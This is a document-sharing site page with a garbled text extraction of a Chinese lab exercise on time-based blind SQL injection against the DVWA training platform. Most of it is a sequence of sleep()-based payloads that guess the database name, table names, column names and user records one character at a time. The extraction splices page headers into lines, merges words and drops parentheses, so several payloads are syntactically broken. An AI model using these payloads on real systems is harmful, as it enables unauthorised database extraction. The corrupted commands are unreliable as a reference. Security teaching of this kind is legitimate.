



下載本文檔
版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
1、言1言息宜至與管理專皿兼學(xué)資靦庫(kù)實(shí)訓(xùn)I SQL注入(時(shí)間盲注)1一、實(shí)訓(xùn)目的1 . 了解SQL注入的常用方式2 .掌握SQL時(shí)間盲注的方法二、實(shí)訓(xùn)環(huán)境1. DVWA平臺(tái)2. Firefox瀏覽器(谷歌瀏覽器)三、實(shí)訓(xùn)內(nèi)容1 .配置DVWA平臺(tái)進(jìn)入DVWA平臺(tái),選擇DVWA Security ,將安全級(jí)別設(shè)置為L(zhǎng)ow。2 .測(cè)試SQL注入點(diǎn)(1)點(diǎn)擊SQL Injection (Blind),進(jìn)入測(cè)試頁(yè)面。(2)使用參數(shù)1' and sleep(5) # 進(jìn)行提交,頁(yè)面明顯延遲。使用參數(shù)1 andsleep(5) #進(jìn)行提交,頁(yè)面沒(méi)有延遲。說(shuō)明是基于字符的時(shí)間盲注。(3)猜解數(shù)據(jù)庫(kù)名的長(zhǎng)
2、度。具體命令如下:/明顯延遲? 1' and if(length(database()=1,sleep(5),1) #/ 沒(méi)有延遲1' and if(length(database()=4,sleep(5),1) #(4)二分法猜解數(shù)據(jù)庫(kù)名。具體命令如下:八言息我至與管理專皿裁學(xué)費(fèi)靦每? 1' andif(ascii(substr(database(),1,1)>97,sleep(5),1)#/明顯延遲? 1' andif(ascii(substr(database(),1,1)<100,sleep(5),1)#/沒(méi)有延遲? 1' andif
3、(ascii(substr(database(),1,1)>100,sleep(5),1)#/沒(méi)有延遲修改substr函數(shù)的第二個(gè)參數(shù),如substr(database(),2,1) 進(jìn)行測(cè)試,可以 獲得數(shù)據(jù)庫(kù)的第二個(gè)字母。(5)猜解數(shù)據(jù)庫(kù)表的數(shù)量。具體命令如下:? 1' and if(select count(table_name)frominformation_schema.tableswheretable_schema=database() )=1,sleep(5),1)#/ 沒(méi)有延遲? 1' and if(select count(table_name)fromi
4、nformation_schema.tableswheretable_schema=database() )=2,sleep(5),1)#/ 明顯延遲(6)猜解數(shù)據(jù)庫(kù)表名的長(zhǎng)度。具體命令格式如下:/沒(méi)有延遲? 1' and if(length(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=1,sleep(5),1) #言1言息宜至與管理專皿兼學(xué)資靦庫(kù)1' and if(length(substr(selecttablename
5、frominformation_schema.tables where table_schema=database()limit 0,1),1)=9,sleep(5),1) #/ 明顯延遲table_name from(7)猜解數(shù)據(jù)庫(kù)表的名稱。具體命令格式如下:1' and if(ascii(substr(selectinformation_schema.tables where table_schema=database() limit 0,1),1,1)>103,sleep(5),1) #/ 沒(méi)有延遲? 1' and if(ascii(substr(select ta
6、ble_name from information_schema.tables where table_schema=database() limit 0,1),1,1)<103,sleep(5),1) #/ 沒(méi)有延遲重復(fù)上述步驟,猜解出兩個(gè)表名。(8)猜解數(shù)據(jù)庫(kù)表中的字段長(zhǎng)度。具體命令格式如下:? 1' and if(select count(column_name) frominformation_schema.columnswhere table_name='users')=1,sleep(5),1)#/ 沒(méi)有延遲1' and if(selectco
7、unt(column_name)frominformation_schema.columnswhere table_name='users')=8,sleep(5),1)#/ 明顯延遲(9)猜解數(shù)據(jù)庫(kù)表中的字段名稱。具體命令格式如下:言1言息宜至與管理專皿兼學(xué)資靦庫(kù)1' and if(ascii(substr(selectcolumnnamefrominformation_schema.columns where table_name= 'users' limit 0,1),1,1)>117,sleep(5),1) #/ 沒(méi)有延遲1' an
8、d if(ascii(substr(select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1)<117,sleep(5),1) #/ 沒(méi)有延遲(10)猜解表中的數(shù)據(jù)。具體命令格式如下:1' and if(select count(first_name) from users)=5,sleep(5),1) # /明顯延遲users表中的字段數(shù)為5猜測(cè)每條記錄的長(zhǎng)度。說(shuō)明巾rst_name的第一個(gè)值得長(zhǎng)度為5個(gè)字符。? 1' and if(length(substr(select first_name from users limit 0,1),1)=5,sleep(5),1) #/ 明顯延遲(11)二分法猜解表中的數(shù)據(jù)。具體命令格式如下:?1'andif(ascii(substr(selectfirst_namefromuserslimit0,1),1,1)&g
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 2025年中國(guó)電動(dòng)爐灶市場(chǎng)競(jìng)爭(zhēng)格局及投資前景展望報(bào)告
- 2025-2030年中國(guó)素蟶項(xiàng)目投資可行性研究分析報(bào)告
- 歲末年初安全生產(chǎn)大檢查工作總結(jié)
- 運(yùn)輸公司安全生產(chǎn)月活動(dòng)方案
- 安全生產(chǎn)檢查方式
- 安全生產(chǎn)中四懂四會(huì)的內(nèi)容是什么
- 焊接與切割作業(yè)安全管理制度
- 安全隱患檢查表
- 工序安全操作規(guī)程
- 客運(yùn)公司安全生產(chǎn)方案
- 2025區(qū)域型變電站智能巡視系統(tǒng)技術(shù)規(guī)范
- 財(cái)務(wù)報(bào)表編制與審核合同模板
- 上海閔行區(qū)教育系統(tǒng)招聘實(shí)驗(yàn)員考試真題2024
- 建設(shè)部建設(shè)工程重大質(zhì)量安全事故應(yīng)急預(yù)案
- 2025年中航油招聘筆試參考題庫(kù)附帶答案詳解
- 2024年中國(guó)中高端電子鋁箔行業(yè)市場(chǎng)調(diào)查報(bào)告
- DB54∕T 0275-2023 民用建筑節(jié)能技術(shù)標(biāo)準(zhǔn)
- 2025年人教版小學(xué)五年級(jí)英語(yǔ)(下冊(cè))期末試卷及答案
- 交通貨運(yùn)企業(yè)-隱患排查治理和防控制度
- 中煙公司財(cái)務(wù)管理制度
- 《學(xué)習(xí)雷鋒精神爭(zhēng)主題班會(huì)》課件
評(píng)論
0/150
提交評(píng)論